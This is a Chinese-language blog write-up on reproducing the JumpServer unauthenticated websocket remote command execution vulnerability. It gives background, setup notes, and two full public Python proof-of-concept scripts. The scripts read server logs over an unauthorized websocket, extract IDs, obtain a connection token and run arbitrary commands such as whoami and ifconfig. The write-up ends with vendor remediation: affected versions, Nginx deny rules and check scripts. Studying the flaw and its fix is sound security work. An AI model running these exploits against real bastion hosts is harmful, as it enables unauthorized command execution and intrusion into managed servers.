漏洞背景

JumpServer 是全球首款完全开源的堡垒机, 使用 GNU GPL v2.0 开源协议, 是符合 4A 的专业运维审计系统。 使用 Python / Django 进行开发, 遵循 Web 2.0 规范, 配备了业界领先的 Web Terminal 解决方案, 交互界面美观、用户体验好。 采纳分布式架构, 支持多机房跨区域部署, 中心节点提供 API, 各机房部署登录节点, 可横向扩展、无并发访问限制。

由于JumpServer程序中连接websocket的接口未做授权限制,导致攻击者可构造恶意请求获取服务器敏感信息,通过敏感信息中的相关参数,可构造请求获取相应token,进而可通过相关API操作来执行任意命令。

漏洞环境搭建

参考这位师傅的文章:https://www.o2oxy.cn/2921.html

User    Check   ........................ [ OK ]
OS      Check   ........................ [ ERROR ] 操作系统类型版本不符合要求,请使用 CentOS 7
CPU     Check   ........................ [ ERROR ] CPU 小于 2核,JumpServer 所在机器的 CPU 需要至少 2核
Memory  Check   ........................ [ ERROR ] 内存小于 8G,JumpServer 所在机器的内存需要至少 8G

参考文章

https://zhuanlan.zhihu.com/p/126601630

CentOS 7 :https://mirrors.ustc.edu.cn/centos/7.9.2009/isos/x86_64/

漏洞复现

公开POC 1

# -*- coding: utf-8 -*-
# import requests
# import json
# data={"user":"4320ce47-e0e0-4b86-adb1-675ca611ea0c","asset":"ccb9c6d7-6221-445e-9fcc-b30c95162825","system_user":"79655e4e-1741-46af-a793-fff394540a52"}
#
# url_host='http://192.168.1.73:8080'
#
# def get_token():
#     url = url_host+'/api/v1/users/connection-token/?user-only=1'
#     url =url_host+'/api/v1/authentication/connection-token/?user-only=1'
#     response = requests.post(url, json=data).json()
#     print(response)
#     ret=requests.get(url_host+'/api/v1/authentication/connection-token/?token=%s'%response['token'])
#     print(ret.text)
# get_token()
import asyncio
import websockets
import requests
import json
url = "/api/v1/authentication/connection-token/?user-only=None"

# 向服务器端发送认证后的消息
async def send_msg(websocket,_text):
    if _text == "exit":
        print(f'you have enter "exit", goodbye')
        await websocket.close(reason="user exit")
        return False
    await websocket.send(_text)
    recv_text = await websocket.recv()
    print(f"{recv_text}")

# 客户端主逻辑
async def main_logic(cmd):
    print("#######start ws")
    async with websockets.connect(target) as websocket:
        recv_text = await websocket.recv()
        print(f"{recv_text}")
        resws=json.loads(recv_text)
        id = resws['id']
        print("get ws id:"+id)
        print("###############")
        print("init ws")
        print("###############")
        inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})
        await send_msg(websocket,inittext)
        for i in range(20):
            recv_text = await websocket.recv()
            print(f"{recv_text}")
        print("###############")
        print("exec cmd: ls")
        cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})
        print(cmdtext)
        await send_msg(websocket, cmdtext)
        for i in range(20):
            recv_text = await websocket.recv()
            print(f"{recv_text}")
        print('#######finish')


if __name__ == '__main__':
    try:
        import sys
        host=sys.argv[1]
        cmd=sys.argv[2]
        if host[-1]=='/':
            host=host[:-1]
        print(host)
        data = {"user": "4320ce47-e0e0-4b86-adb1-675ca611ea0c", "asset": "ccb9c6d7-6221-445e-9fcc-b30c95162825",
                "system_user": "79655e4e-1741-46af-a793-fff394540a52"}
        print("##################")
        print("get token url:%s" % (host + url,))
        print("##################")
        res = requests.post(host + url, json=data)
        token = res.json()["token"]
        print("token:%s", (token,))
        print("##################")
        target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token
        print("target ws:%s" % (target,))
        asyncio.get_event_loop().run_until_complete(main_logic(cmd))
    except:
        print("python jumpserver.py http://192.168.1.73 whoami")

公开POC 2

# coding=utf-8

import asyncio
import websockets
import json
import requests
import re

target_url = 'http://127.0.0.1'
cmd = "ifconfig"


async def get_token():
    print('========================================================================================================================================================')
    url = target_url.replace("http", "ws") + "/ws/ops/tasks/log/"
    print("Request => " + url + "token")
    async with websockets.connect(url, timeout=3) as websocket:
        await websocket.send('{"task":"/opt/jumpserver/logs/gunicorn"}')
        for x in range(1000):
            try:
                rs = await asyncio.wait_for(websocket.recv(), timeout=3)
                print("Recv => " + rs)
                if '/api/v1/perms/asset-permissions/user/validate' in rs:
                    break
            except:
                print("Vulnerability may not exist")
                exit()

        print('========================================================================================================================================================')
        print('Vulnerability may exist')

        pattern = re.compile(r'asset_id=(.*?)&cache_policy=1&system_user_id=(.*?)&user_id=(.*?) ')
        matchObj = pattern.search(rs)

        if matchObj:
            asset_id = matchObj.group(1)
            print('asset_id = ' + asset_id)
            system_user_id = matchObj.group(2)
            print('system_user_id = ' + system_user_id)
            user_id = matchObj.group(3)
            print('user_id = ' + user_id)
    print('========================================================================================================================================================')

    data = {'asset': asset_id, 'system_user': system_user_id, 'user': user_id}
    url = target_url + '/api/v1/users/connection-token/?user-only=1'
    print("Request => " + url + ' get token')
    response = requests.post(url, json=data).json()
    print('token = ' + response['token'])
    print('========================================================================================================================================================')

    return response['token']


async def attack(url):
    async with websockets.connect(url, timeout=3) as websocket:
        print("Request => " + url)
        rs = await websocket.recv()
        print("Recv => " + rs)
        id = json.loads(rs)["id"]
        print("id = " + id)
        print('========================================================================================================================================================')

        init_payload = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})
        print("Request => " + "TERMINAL_INIT")
        await websocket.send(init_payload)
        rs = await websocket.recv()
        print("Recv => " + rs)

        rs = ""
        while "Last login" not in rs:
            rs = await websocket.recv()
            print("Recv => " + rs)

        cmd_payload = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd + "\r\n"})
        print("Request => " + "Cmd Payload")
        await websocket.send(cmd_payload)

        for x in range(1000):
            try:
                rs = await asyncio.wait_for(websocket.recv(), timeout=3)
                print("Recv => " + rs)
            except:
                print('========================================================================================================================================================')
                print('recv data end')
                break


def exp():
    token = asyncio.get_event_loop().run_until_complete(get_token())
    url = target_url.replace("http", "ws") + "/koko/ws/token/?target_id=" + token
    asyncio.get_event_loop().run_until_complete(attack(url))


if __name__ == '__main__':
    exp()

漏洞修复

参考 https://github.com/jumpserver/jumpserver

紧急BUG修复通知

JumpServer发现远程执行漏洞,请速度修复

非常感谢 reactivity of Alibaba Hackerone bug bounty program(瑞典) 向我们报告了此 BUG

影响版本:

< v2.6.2
< v2.5.4
< v2.4.5 
= v1.5.9
>= v1.5.3

安全版本:

>= v2.6.2
>= v2.5.4
>= v2.4.5 
= v1.5.9 (版本号没变)
< v1.5.3

修复方案:

将JumpServer升级至安全版本;

临时修复方案:

修改 Nginx 配置文件屏蔽漏洞接口

/api/v1/authentication/connection-token/
/api/v1/users/connection-token/

Nginx 配置文件位置

# 社区老版本
/etc/nginx/conf.d/jumpserver.conf

# 企业老版本
jumpserver-release/nginx/http_server.conf
 
# 新版本在 
jumpserver-release/compose/config_static/http_server.conf

修改 Nginx 配置文件实例

### 保证在 /api 之前 和 / 之前
location /api/v1/authentication/connection-token/ {
   return 403;
}
 
location /api/v1/users/connection-token/ {
   return 403;
}
### 新增以上这些
 
location /api/ {
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header Host $host;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_pass http://core:8080;
  }
 
...

修改完成后重启 nginx

docker方式: 
docker restart jms_nginx

nginx方式:
systemctl restart nginx

修复验证

$ wget https://github.com/jumpserver/jumpserver/releases/download/v2.6.2/jms_bug_check.sh 

# 使用方法 bash jms_bug_check.sh HOST 
$ bash jms_bug_check.sh demo.jumpserver.org
漏洞已修复

入侵检测
下载脚本到 jumpserver 日志目录,这个目录中存在 gunicorn.log,然后执行

$ pwd
/opt/jumpserver/core/logs

$ ls gunicorn.log 
gunicorn.log

$ wget 'https://github.com/jumpserver/jumpserver/releases/download/v2.6.2/jms_check_attack.sh'
$ bash jms_check_attack.sh
系统未被入侵

参考资料

https://mp.weixin.qq.com/s/KGRU47o7JtbgOC9xwLJARw

Last modification:March 19, 2022
如果觉得我的文章对你有用,请随意赞赏